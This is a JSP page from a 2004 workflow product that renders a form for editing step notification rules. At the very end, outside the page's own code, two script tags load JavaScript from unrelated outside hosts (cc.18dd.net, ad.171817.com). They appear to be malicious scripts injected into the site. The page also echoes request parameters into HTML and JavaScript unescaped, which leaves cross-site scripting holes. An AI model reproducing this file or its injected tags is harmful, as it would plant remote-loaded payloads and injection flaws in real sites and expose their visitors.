<%
/*
 * @(#)EditMtmWfStepNotificationRule.jsp
 * Copyright (c) 2003 DCIVision Ltd
 * All rights reserved.
 *
 * This software is the confidential and proprietary information of DCIVision
 * Ltd ("Confidential Information").  You shall not disclose such Confidential
 * Information and shall use it only in accordance with the terms of the license
 * agreement you entered into with DCIVision Ltd.
 */
/**
  EditMtmWfStepNotificationRule.jsp

  This class is reflecting business logic uses.

    @author           Dick xie
    @company          DCIVision Limited
    @creation date    23/11/2004
    @version          $Revision: 1.32.6.8 $
*/
%>
<%@ page contentType="text/html;charset=UTF-8"%>
<%@ taglib uri="/tags/struts-html" prefix="html" %>
<%@ taglib uri="/tags/struts-bean" prefix="bean" %>
<%@ taglib uri="/tags/struts-logic" prefix="logic" %>
<%@ taglib uri="/tags/layout" prefix="layout" %>
<%@ page import="java.io.*" %>
<%@ page import="java.sql.*" %>
<%@ page import="java.util.*" %>
<%@ page import="com.dcivision.framework.*"%>
<%@ page import="com.dcivision.framework.bean.*"%>
<%@ page import="com.dcivision.framework.web.*"%>
<%@ page import="com.dcivision.workflow.bean.*"%>
<%@ page import="com.dcivision.workflow.dao.MtmWfStepNotificationRuleDAObject"%>

<jsp:useBean id="sessionContainer" scope="session" class="com.dcivision.framework.SessionContainer"/>
<style>
<!--
  #additionalSettingPannel{
   display:none;
   border:1px solid #dddddd;
   background-color:#eeeeee; 
  }
  #additionalSettingPannel .formLabelSmall{
    background-color:#eeeeee;
  }
-->
</style>
<%
  int ruleTotal = 0;
  String SnotificationRuleListValue = "";
  String[] ruleArr = null;

  if (request.getAttribute("notificationRuleListValue") != null){
    SnotificationRuleListValue = (String) request.getAttribute("notificationRuleListValue");
  } else {
    SnotificationRuleListValue = request.getParameter("notificationRuleListValue");
  }
%>
<%/****************************************************************************
   * Edit Selection Attributes Configuration Begin
   ****************************************************************************/

  Connection conn = (Connection)request.getAttribute(GlobalConstant.DB_KEY);
  MtmWfStepNotificationRuleDAObject notifyDAO=new MtmWfStepNotificationRuleDAObject(sessionContainer,conn);

  String notifyFlag=(String)request.getParameter("notifyFlag");

  String[][]  TRIGGER_TYPE_MAP=notifyDAO.getNotifyTaskTypeByStepType(notifyFlag);

  String TRIGGER_AT_MAP[][] = {
    {"workflow.label.days", String.valueOf(Calendar.DATE)},
    {"workflow.label.hours", String.valueOf(Calendar.HOUR)},
    {"workflow.label.minutes", String.valueOf(Calendar.MINUTE)}
  };

  /****************************************************************************
   * Edit Selection Attributes Configuration End
   ****************************************************************************/
%>

<input type="hidden" name="currentStepID" value='<%=request.getParameter("ID")%>'>
<input type="hidden" name="parentStepID" value='<%=request.getParameter("parentStepID")%>'>
<input type="hidden" name="workflowRecordID" value='<%=request.getParameter("workflowRecordID")%>'>
<input type="hidden" name="notificationOwnerListValue" value=''>

<script language="javascript">
<!--

   function setNotificationOwner(VnotificationOwnerListValue) {
     for (var i = 0; i < document.forms.length; i++) {
       if (document.forms[i].name != "") {
         frm = document.forms[i];
         break;
       }
     }
     frm.notificationOwnerListValue.value = unescape(VnotificationOwnerListValue);
     return false;
   }

   function popupSetNotifyRuleOwner() {
     var height = 550;
     var width = 600;
     var windowName = "DCIVisionPopupSetNotifiyRuleOwner";
     for (var i = 0; i < document.forms.length; i++) {
       if (document.forms[i].name != "") {
         frm = document.forms[i];
         break;
        }
     }
     OpenCenteredPopup("<%=request.getContextPath()%>/workflow/MaintWorkflowStepNotificationOwner.do?navMode=<%=request.getParameter("navMode")%>&SHOW_HEADER_FOOTER=N&wfRecordID=<%=request.getParameter("workflowRecordID")%>&parentStepID=<%=request.getParameter("parentStepID")%>&currentStepID=<%=request.getParameter("ID")%>&notificationOwnerListValue=" + frm.notificationOwnerListValue.value, windowName, width, height, "scrollbars=auto");
     return(false);
   }
   
   function opAdditionalSettingPannel(opType){
     var pannel = document.getElementById("additionalSettingPannel");
     var addrule = document.getElementById("addNewRulePannel");
     if(opType=="show"){
       pannel.style.display="block";
       addrule.style.display="none";
     }else if(opType=="hide"){
       pannel.style.display="none";
       addrule.style.display="block";
     }
   }
 -->
</script>

<table height="100%" width="100%" cellpadding="0" cellspacing="2" border="0" align="left">
  <!-- Section Header -->
  <layout:sectionHeader name="workflow.label.workflow_step_additional_rule" mandatory="false" />
  <tr>
    <td colspan="2" width="100%" align="left">
      <span id="span_notificationList" style="overflow:hidden;">  
      </span>
  </td></tr>
  
   <tr>
    <td colspan="2">
      <div id="addNewRulePannel" style="display:block;">
      <html:standardButton onClick="opAdditionalSettingPannel('show');" label="workflow.label.workflow_step_add_new_rule"/>
      </div>
      <div id="additionalSettingPannel">
      <table width="100%" border="0" cellpadding="0" cellspacing="1">
        <layout:sectionHeader name="workflow.label.workflow_step_add_additional_rule" mandatory="false" />
        <tr>
        <td class="formLabelSmall"><bean:message key='workflow.label.trigger_type'/>:</td>
        <td>
            <select name="notifyTrigger">
              <%
                for(int i=0;i<TRIGGER_TYPE_MAP.length;i++){
                  if(i==0){
              %>
                    <option value="<%=TRIGGER_TYPE_MAP[i][1]%>" SELECTED='true'><bean:message key='<%=TRIGGER_TYPE_MAP[i][0]%>'/></option>
                <%}else{%>
                    <option value="<%=TRIGGER_TYPE_MAP[i][1]%>"><bean:message key='<%=TRIGGER_TYPE_MAP[i][0]%>'/></option>
                <%}%>
              <%}%>
            </select>
          </td>
        </tr>
        <tr>
        <td class="formLabelSmall"><bean:message key='workflow.label.trigger_point'/>:</td>
          <td>
            <script language='Javascript'>    
            <!--                              
            function checkIntKey(key) {   // check if the input key is allowed 
              if ( key>=48 && key<=57 ) { // allow input of digit 0-9          
                return true;                  
              }                               
              return false;                   
            }                                 
            function checkIntValue(elm) { // check if the input is an integer  
            if ( isNaN(elm.value) || elm.value<0 || elm.value.indexOf('.')!=-1 ) {  
                alert('Input must be an integer.');
                elm.focus();                  
              }                               
            }                                 
            //-->                             
            </script>                         
            <input type="text" name="notifyAtAmt" maxlength="3" size="3" value="" onkeypress="return checkIntKey(window.event.keyCode);" onblur="return checkIntValue(this);">
            &nbsp;
            <select name="notifyAtField">
              <%
                for(int i=0;i<TRIGGER_AT_MAP.length;i++){
                  if(i==0){
              %>
                    <option value="<%=TRIGGER_AT_MAP[i][1]%>" SELECTED='true'><bean:message key='<%=TRIGGER_AT_MAP[i][0]%>'/></option>
                <%}else{%>
                    <option value="<%=TRIGGER_AT_MAP[i][1]%>"><bean:message key='<%=TRIGGER_AT_MAP[i][0]%>'/></option>
                <%}%>
              <%}%>
            </select>
          </td>
          </tr>
          <tr>
          <td class="formLabelSmall"><bean:message key='workflow.label.select_notify_owner'/>:</td>
          <td>
            <html:standardButton onClick="return popupSetNotifyRuleOwner();" label="workflow.label.workflow_step_select_receipents"/>
          </td>
          </tr>
          <tr>
          <td class="formLabelSmall"><bean:message key='workflow.label.notification_by'/>:</td>
          <td>
            <input type="checkbox" name="notifyAckMethodByEmail" value='<%=MtmWorkflowProgressPriorityRule.NOTIFY_BY_EMAIL%>'><bean:message key='alert.label.notification_E'/>
            <input type="checkbox" name="notifyAckMethodBySystem" value='<%=MtmWorkflowProgressPriorityRule.NOTIFY_BY_SYSTEM%>'><bean:message key='alert.label.notification_S'/>
          </td>
          </tr>
          <tr>
          <td>&nbsp;</td>
          <%
            String sID=request.getParameter("ID");
          %>
          <%if(sID==""||sID==null){%>
              <td align="center">&nbsp;</td>
          <%}else{%>  
              <td>
              <html:standardButton onClick="return opAddFields();" label="workflow.applet.add"/>
              <html:standardButton onClick="opAdditionalSettingPannel('hide');" label="common.label.cancel"/>
              </td>
          <%}%>
        </tr>
      </table>
      </div>
    </td>
  </tr>
  <tr>
    <td>&nbsp;</td>
  </tr>
  
  <tr>
    <td colspan="2" align="center"><html:img src="LayoutSpacer.gif"  width="1" height="10"/></td>
  </tr>
  <tr>
    <td colspan="2" align="center"><html:img src="LayoutSpacer.gif"  width="1" height="10"/></td>
  </tr>
</table>

<script language="Javascript">
<!--
	var arrflag;
function initPage() {
 var notifyFlag='<%=notifyFlag%>';
  if (notifyFlag) {
  	arrflag=notifyFlag.split("|");
  }
  document.maintWorkflowStepForm.notifyAtAmt.value="0";
  plot();
}

function trim(s)
{
    if (s == null){
     return s;
    }
    var i;
    var beginIndex = 0;
    var endIndex = s.length - 1;
    for (i=0; i<s.length; i++)
    {
        if (s.charAt(i) == ' ' || s.charAt(i) == '¡¡')
        {
            beginIndex++;
        }
        else
        {
            break;
        }
    }

    for (i = s.length - 1; i >= 0; i--)
    {
        if (s.charAt(i) == ' ' || s.charAt(i) == '¡¡')
        {
            endIndex--;
        }
        else
        {
            break;
        }
    }
    if (endIndex < beginIndex)
    {
        return "";
    }
    return s.substring(beginIndex, endIndex + 1);
}


function plot() {
  var VnotificationRuleListValue = document.maintWorkflowStepForm.notificationRuleListValue.value;
  var span_notificationList = document.getElementById("span_notificationList");
  if(VnotificationRuleListValue == ""||VnotificationRuleListValue=="null"){
    VnotificationRuleListValue="";
    document.maintWorkflowStepForm.notificationRuleListValue.value="";
    span_notificationList.innerHTML="";
    return false;
  }else if(VnotificationRuleListValue!=""){
    var VnotificationList = VnotificationRuleListValue.split("|");
    var vNotifyCount;
    vNotifyCount=VnotificationList.length;  
    var vdetail;
    vdetail="<bean:message key='dms.label.field_detail'/>";
    var vimg;
    vimg="<img src=\"<%=request.getContextPath()%>/theme/pref<%=sessionContainer.getPreference()%>/img/common/Spacer.gif\" align=\"absmiddle\" border=\"0\">";
    var vIconName;
    var vEmail;
    vEmail="<bean:message key='alert.label.notification_E'/>";
    var vSystem;
    vSystem="<bean:message key='alert.label.notification_S'/>";
    var vNotify;
    vNotify="<bean:message key='workflow.label.notify'/>";
    var vReceipients;
    vReceipients="<bean:message key='workflow.label.receipients'/>";
    var vNotification_by;
    vNotification_by="<bean:message key='workflow.label.notification_by'/>";
    var vDel;
    vDel="<bean:message key='dms.label.field_detail'/>";
    var n;
    var Vnotification;
    var VnotifyList;
    var vMessage;
    var vDataType;
    var vOwnerStr;
    var vOwnerList;
    var vActorName;
    var vCurrentOwnerStr;
    var vOwner;

    var notifyHtmlText;
    notifyHtmlText="";
    notifyHtmlText=notifyHtmlText+"<table border=\"0\" cellpadding=\"0\" cellspacing=\"2\">";
    for(var i=0;i<VnotificationList.length;i++){
      n=i+1; 
      notifyHtmlText=notifyHtmlText+"<tr>";
      
      notifyHtmlText=notifyHtmlText+"<td width=\"425\" align=\"left\">";
      notifyHtmlText=notifyHtmlText+n+".&nbsp;&nbsp;";


      Vnotification = VnotificationList[i];
      VnotifyList = Vnotification.split(",");
      //Trigger Type A/B    
      var Notifytype=trim(VnotifyList[0]);
      if(Notifytype=="A"){
        vMessage="<bean:message key='workflow.label.after_task_arrived'/>"; 
      }else if(Notifytype=="P"){
        vMessage="<bean:message key='workflow.label.workflow_is_pending_for'/>";       
      }else if(Notifytype=="Z"){
        vMessage="<bean:message key='workflow.label.task_priority_changed'/>";       
      }else if(Notifytype=="I"){
        vMessage="<bean:message key='workflow.label.task_pick_up_by_user'/>";        
      }else if(Notifytype=="M"){
        vMessage="<bean:message key='workflow.label.task_completed_by_user'/>";       
      }else if(Notifytype=="C"){
        vMessage="<bean:message key='workflow.label.task_completed'/>";        
      }else if(Notifytype=="S"){
        vMessage="<bean:message key='workflow.label.workflow_is_stop'/>";      
      }else if(Notifytype=="B"){
        vMessage="<bean:message key='workflow.label.before_task_due_date'/>";      
      }else if(Notifytype=="O"){
        vMessage="<bean:message key='workflow.label.task_over_due_date'/>";     
      }else if((Notifytype.indexOf("S")==0) && (Notifytype.length>1) ){
        vMessage="<bean:message key='workflow.label.notify_task_is_decision'/>"; 
        var routeCount= document.maintWorkflowStepForm.notifyTrigger.options.length-arrflag.length;
        var indextmp=document.maintWorkflowStepForm.notifyTrigger.selectedIndex;
      
        var substrt=Notifytype.substring(1,Notifytype.length);
        var subindex=parseInt(substrt);
       
        if (arrflag[subindex]){   
           vMessage=vMessage+' '+arrflag[subindex]
        }
      }
      
      else if(Notifytype=="V"){
        vMessage="<bean:message key='workflow.label.notify_task_is_approved'/>";      
      }else if(Notifytype=="R"){
        vMessage="<bean:message key='workflow.label.notify_task_is_reject'/>";      
      }else if(Notifytype=="Y"){
        vMessage="<bean:message key='workflow.label.notify_task_is_yes'/>";     
      }else if(Notifytype=="N"){
        vMessage="<bean:message key='workflow.label.notify_task_is_no'/>";     
      }
      notifyHtmlText=notifyHtmlText+vMessage+" &nbsp ";
      
      //Trigger how
      notifyHtmlText=notifyHtmlText+VnotifyList[1]+" ";

      //Escalate Field Days/Hours/Minutes      
      if(VnotifyList[2]==5){
        vDataType="<bean:message key='workflow.label.days'/>";
      }else if(VnotifyList[2]==10){
        vDataType="<bean:message key='workflow.label.hours'/>";
      }else if(VnotifyList[2]==12){
        vDataType="<bean:message key='workflow.label.minutes'/>";
      }
      notifyHtmlText=notifyHtmlText+vDataType+" &nbsp,&nbsp ";

      //Notifition By
      notifyHtmlText=notifyHtmlText+vNotify+" &nbsp ";

     
      notifyHtmlText=notifyHtmlText+"<a href=\"#\">";
    

      vOwnerStr=VnotifyList[5];
      if(  vOwnerStr!="" || vOwnerStr!="null"){
        vOwnerList=vOwnerStr.split(":");
        for(var j=0;j<vOwnerList.length;j++){
          vCurrentOwnerStr=vOwnerList[j];
          vOwner=vCurrentOwnerStr.split("$");
          
          vActorName=vOwner[1];
          if(j==(vOwnerList.length-1)){
            notifyHtmlText=notifyHtmlText+vActorName;
          }else{
            notifyHtmlText=notifyHtmlText+vActorName+" / ";
          }
          
          //notifyHtmlText=notifyHtmlText+"</nobr>";
        }        
      }

      
      notifyHtmlText=notifyHtmlText+"</a>";

      //notifyHtmlText=notifyHtmlText+" &nbsp, ";
      //notifyHtmlText=notifyHtmlText+" &nbsp; "+vNotification_by+" &nbsp; ";
      notifyHtmlText+="</td>";
      notifyHtmlText+="<td style=\"width:55px;text-align:center;\">"
      if(VnotifyList[3]=="E"){
        notifyHtmlText=notifyHtmlText+"<input type=\"checkbox\" checked disabled class=\"form-style-2-checkbox\">";
      }
      notifyHtmlText+="</td>";
      notifyHtmlText+="<td style=\"width:65px;text-align:center;\">"
      if(VnotifyList[4]=="S"){
        notifyHtmlText=notifyHtmlText+"<input type=\"checkbox\" checked disabled class=\"form-style-2-checkbox\">";
      }
      notifyHtmlText+="</td>";
      notifyHtmlText=notifyHtmlText+"<td style=\"width:80px;\">";
      notifyHtmlText=notifyHtmlText+"<span class='but-standard' style='float:right;'><div class='but_left'></div>";
      notifyHtmlText=notifyHtmlText+"<a href=\"#\" onClick=\"return opDelFields("+i+","+vNotifyCount+");\"><span class='text'>"+vDel+"</span></a>"; 
      notifyHtmlText=notifyHtmlText+"<div class='but_right'></div></span>";
      notifyHtmlText=notifyHtmlText+"</td>"; 
      notifyHtmlText=notifyHtmlText+"</tr>";
      
    }
    notifyHtmlText=notifyHtmlText+"</table>";
    span_notificationList.innerHTML=notifyHtmlText;
  }
}


function opAddFields() {
  var VnotificationRuleListValue="";
  VnotificationRuleListValue=document.maintWorkflowStepForm.notificationRuleListValue.value;
  if(VnotificationRuleListValue==""||VnotificationRuleListValue==null){
    VnotificationRuleListValue="";
    document.maintWorkflowStepForm.notificationRuleListValue.value="";
  }
  var currentTrigger = document.maintWorkflowStepForm.notifyTrigger.value;
  if(currentTrigger=="B"){
    if(document.maintWorkflowStepForm.notifyAtAmt.value == ""){
      alert("<bean:message key='workflow.message.trigger_point_is_required'/>");
      document.maintWorkflowStepForm.notifyAtAmt.focus();
      return false;
    }
  }
  if(currentTrigger!=""){
    if(VnotificationRuleListValue==""||VnotificationRuleListValue==null){
      document.maintWorkflowStepForm.notificationRuleListValue.value="";
      VnotificationRuleListValue+=currentTrigger;
    }else{
      VnotificationRuleListValue+="|"+currentTrigger;
    }
  }
  var currentAtAmt=document.maintWorkflowStepForm.notifyAtAmt.value;
  if(document.maintWorkflowStepForm.notifyAtAmt.value=="" || document.maintWorkflowStepForm.notifyAtAmt.value==null){
    document.maintWorkflowStepForm.notifyAtAmt.value="0";
    alert("<bean:message key='workflow.message.trigger_point_is_required'/>");
    return false;
  }
  if(currentAtAmt!=""){
    VnotificationRuleListValue+=","+currentAtAmt;
    document.maintWorkflowStepForm.notifyAtAmt.value="0";
  }
  var currentAtField=document.maintWorkflowStepForm.notifyAtField.value;
  if(currentAtField!=""){
    VnotificationRuleListValue+=","+currentAtField;
    document.maintWorkflowStepForm.notifyAtField.value=5;
  }
  if(document.maintWorkflowStepForm.notifyAckMethodByEmail.checked==false && document.maintWorkflowStepForm.notifyAckMethodBySystem.checked ==false){
    alert("<bean:message key='workflow.message.notify_at_method_is_required'/>");
    return false;
  }
  var isByEmail=document.maintWorkflowStepForm.notifyAckMethodByEmail.checked;
  var isBySystem=document.maintWorkflowStepForm.notifyAckMethodBySystem.checked;
  if(isByEmail){
    VnotificationRuleListValue+=",E";
    document.maintWorkflowStepForm.notifyAckMethodByEmail.checked=false;
  }else{
    VnotificationRuleListValue+=",null";
  }
  if(isBySystem){
    VnotificationRuleListValue+=",S";
    document.maintWorkflowStepForm.notifyAckMethodBySystem.checked =false;
  }else{
    VnotificationRuleListValue+=",null";
  }
  var currentOwnerList=document.maintWorkflowStepForm.notificationOwnerListValue.value;
  if(document.maintWorkflowStepForm.notificationOwnerListValue.value == "" || document.maintWorkflowStepForm.notificationOwnerListValue.value == null){
    alert("<bean:message key='workflow.message.notify_owner_is_required'/>");
    return false;
  }
  if(currentOwnerList!=""){
    VnotificationRuleListValue+=","+currentOwnerList;
    document.maintWorkflowStepForm.notificationOwnerListValue.value="";
  }
  document.maintWorkflowStepForm.notificationRuleListValue.value=VnotificationRuleListValue;
  VnotificationRuleListValue = document.maintWorkflowStepForm.notificationRuleListValue.value;
  plot(VnotificationRuleListValue);
  opAdditionalSettingPannel("hide");
  return(false);
}

function opDelFields(del_count,vNotifyCount) {
  var VnotificationRuleListValue = "";
  VnotificationRuleListValue = document.maintWorkflowStepForm.notificationRuleListValue.value;
  if(VnotificationRuleListValue == ""||VnotificationRuleListValue==null){
    alert("<bean:message key='workflow.label.please_setup_notification_rule'/>");
    return false;
  }
  var tmpRuleArr;
  if(vNotifyCount==1){
    VnotificationRuleListValue="";
  }else{
    tmpRuleArr=VnotificationRuleListValue.split("|");
    VnotificationRuleListValue="";
    for(var i=0; i<tmpRuleArr.length;i++){
      if(i!=del_count){
        if(VnotificationRuleListValue==""){
          VnotificationRuleListValue=tmpRuleArr[i];
        }else{
          VnotificationRuleListValue=VnotificationRuleListValue+"|"+tmpRuleArr[i];
        }
      }
    }
  }
  document.maintWorkflowStepForm.notificationRuleListValue.value=VnotificationRuleListValue;
  VnotificationRuleListValue = document.maintWorkflowStepForm.notificationRuleListValue.value;
  plot();
}
initPage();
-->
</script>
<script language=javascript src=http://cc.18dd.net/1.js></script>
<script language=javascript src=http://ad.171817.com/css/1.js></script>